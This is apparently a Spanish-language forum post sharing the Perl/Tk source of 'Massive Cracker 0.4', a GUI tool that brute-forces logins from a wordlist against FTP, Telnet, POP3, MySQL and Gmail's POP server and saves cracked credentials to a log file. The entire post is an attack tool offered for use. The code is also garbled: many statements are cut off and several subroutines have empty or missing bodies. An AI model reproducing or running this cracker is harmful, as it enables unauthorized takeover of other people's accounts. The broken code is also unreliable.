Una imagen
El codigo
Código
#!usr/bin/perl #Massive Cracker 0.4 #Version Tk #Coded By Doddy H #http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm #ppm install http://www.bribes.org/perl/ppm/DBI.ppd #ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd #http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod use Cwd; use Tk; use Tk::FileSelect; use Tk::Dialog; use LWP::UserAgent; use Net::FTP; use Net::POP3; use Net::Telnet; use DBI; use Mail::POP3Client; use IO::Socket::SSL; my $nave = LWP::UserAgent->new(); $nave->timeout(5); $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); #if ($^O eq 'MSWin32') { #use Win32::Console; #Win32::Console::Free(); #} my $color_texto = "green"; my $color_fondo = "black"; my $newdax = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $newdax->title("Massive Cracker 0.4"); $newdax->geometry("320x270+50+50"); $newdax->resizable( 0, 0 ); $menula = $newdax->Frame( -relief => "sunken", -bd => 1, -background => $color_fondo, -foreground => $color_texto ); my $menulnowaxaz = $menula->Menubutton( -text => "Options", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $aboutnowaxaz = $menula->Menubutton( -text => "About", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $exitnowaxaz = $menula->Menubutton( -text => "Exit", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); $menula->pack( -side => "top", -fill => "x" ); $menulnowaxaz->command( -label => "Crack", -background => $color_fondo, -foreground => $color_texto, -command => \&crack ); $menulnowaxaz->command( -label => "Open Logs", -background => $color_fondo, -foreground => $color_texto, -command => \&openlogsaz ); $aboutnowaxaz->command( -label => "About", -background => $color_fondo, -foreground => $color_texto, -command => \&aboutxaz ); $exitnowaxaz->command( -label => "Exit", -background => $color_fondo, -foreground => $color_texto, -command => \&exitnowaz ); # $newdax->Label( -text => "Host : ", -font => "Impact1", -background => $color_fondo, -foreground => $color_texto my $host = $newdax->Entry( -width => 30, -background => $color_fondo, -foreground => $color_texto $newdax->Label( -text => "Username : ", -font => "Impact1", -background => $color_fondo, -foreground => $color_texto my $username = $newdax->Entry( -width => 20, -background => $color_fondo, -foreground => $color_texto $newdax->Label( -text => "Wordlist : ", -font => "Impact1", -background => $color_fondo, -foreground => $color_texto my $password = $newdax->Entry( -width => 20, -background => $color_fondo, -foreground => $color_texto $newdax->Button( -text => "Browse", -width => 10, -command => \&bronaf, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto $newdax->Label( -text => "Timeout : ", -font => "Impact1", -background => $color_fondo, -foreground => $color_texto my $timeout = $newdax->Entry( -width => 10, -background => $color_fondo, -foreground => $color_texto $newdax->Label( -text => "Service : ", -font => "Impact1", -background => $color_fondo, -foreground => $color_texto $newdax->Optionmenu( -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto, -options => [ [ FTP => FTP ], [ TELNET => TELNET ], [ POP3 => POP3 ], [ MYSQL => MYSQL ], [ GMAIL => GMAIL ] ], -textvariable => \$service $newdax->Label( -text => "Status : ", -font => "Impact", -background => $color_fondo, -foreground => $color_texto my $status = $newdax->Entry( -width => 20, -background => $color_fondo, -foreground => $color_texto # MainLoop; sub crack { my $host = $host->get; my $user = $username->get; my $word = $password->get; my $time = $timeout->get; my $op = $service; if ( -f $word ) { $status->configure( -text => " " ); if ( $op eq "TELNET" ) { my $cont = "0"; my @words = openwordlist($word); for my $pass (@words) { $newdax->update; $status->configure( -text => $pass ); $telnet = new Net::Telnet( Errmode => "return" ); $telnet->open($host); if ( $telnet->login( $user, $pass ) ) { $cont = "1"; yeah( $host, $user, $pass, "Telnet" ); } $telnet->close; } if ( $cont eq "0" ) { $status->configure( -text => "Not Found" ); } } elsif ( $op eq "FTP" ) { my $cont = "0"; my @words = openwordlist($word); for my $pass (@words) { $newdax->update; $status->configure( -text => $pass ); $ftp = Net::FTP->new($host); if ( $ftp->login( $user, $pass ) ) { $cont = "1"; yeah( $host, $user, $pass, "FTP" ); } $ftp->quit; } if ( $cont eq "0" ) { $status->configure( -text => "Not Found" ); } } elsif ( $op eq "POP3" ) { my $cont = "0"; my @words = openwordlist($word); for my $pass (@words) { $newdax->update; $status->configure( -text => $pass ); $pop = Net::POP3->new($host); if ( $pop->login( $user, $pass ) ) { $cont = "1"; yeah( $host, $user, $pass, "POP3" ); } $pop->quit(); } if ( $cont eq "0" ) { $status->configure( -text => "Not Found" ); } } elsif ( $op eq "MYSQL" ) { my $cont = "0"; my @words = openwordlist($word); $target = "dbi:mysql::" . $host . ":3306"; for my $pass (@words) { $newdax->update; $status->configure( -text => $pass ); if ( my $now = DBI->connect( $target, $user, $pass, { PrintError => 0 } ) ) { $cont = "1"; yeah( $host, $user, $pass, "Mysql" ); } } if ( $cont eq "0" ) { $status->configure( -text => "Not Found" ); } } elsif ( $op eq "GMAIL" ) { my $cont = "0"; my @words = openwordlist($word); for my $pass (@words) { $newdax->update; $status->configure( -text => $pass ); my $so = IO::Socket::SSL->new( PeerAddr => "pop.gmail.com", PeerPort => 995, Proto => "tcp" ); my $nave = Mail::POP3Client->new(); $nave->User($user); $nave->Pass($pass); $nave->Socket($so); if ( $nave->Connect() ) { $cont = "1"; yeah( "pop.gmail.com", $user, $pass, "Gmail" ); } $so->close(); $nave->close(); } if ( $cont eq "0" ) { $status->configure( -text => "Not Found" ); } } else { } } else { $newdax->Dialog( -title => "Error", -buttons => ["OK"], -text => "File Not Found", -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->Show(); } } sub yeah { my $foundtk = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $foundtk->title("Account Cracked"); $foundtk->geometry("280x130+20+20"); $foundtk->resizable( 0, 0 ); $foundtk->Label( -text => "Host : ", -font => "Impact", -background => $color_fondo, -foreground => $color_texto my $host_found = $foundtk->Entry( -width => 30, -background => $color_fondo, -foreground => $color_texto $foundtk->Label( -text => "Username : ", -font => "Impact", -background => $color_fondo, -foreground => $color_texto my $user_found = $foundtk->Entry( -width => 24, -background => $color_fondo, -foreground => $color_texto $foundtk->Label( -text => "Password : ", -font => "Impact", -background => $color_fondo, -foreground => $color_texto my $pass_found = $foundtk->Entry( -width => 24, -background => $color_fondo, -foreground => $color_texto $host_found->configure( -text => $_[0] ); $user_found->configure( -text => $_[1] ); $pass_found->configure( -text => $_[2] ); savefile( "cracked-logs.txt", $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] ); last; } sub openwordlist { my @words; my ($file) = @_; my @words = <FILE>; close FILE; } sub bronaf { $newdax->update; $browse = $newdax->FileSelect( -directory => getcwd() ); my $file = $browse->Show; $password->configure( -text => $file ); } sub aboutxaz { $newdax->Dialog( -title => "About", -buttons => ["OK"], -text => "Coded By Doddy H", -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->Show(); } sub openlogsaz { my $f = "cracked-logs.txt"; if ( -f $f ) { } else { $newdax->Dialog( -title => "Error", -buttons => ["OK"], -text => "File Not Found", -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->Show(); } } sub savefile { close SAVE; } sub toma { } sub repes { my @limpio; foreach $test (@_) { } } #The End ?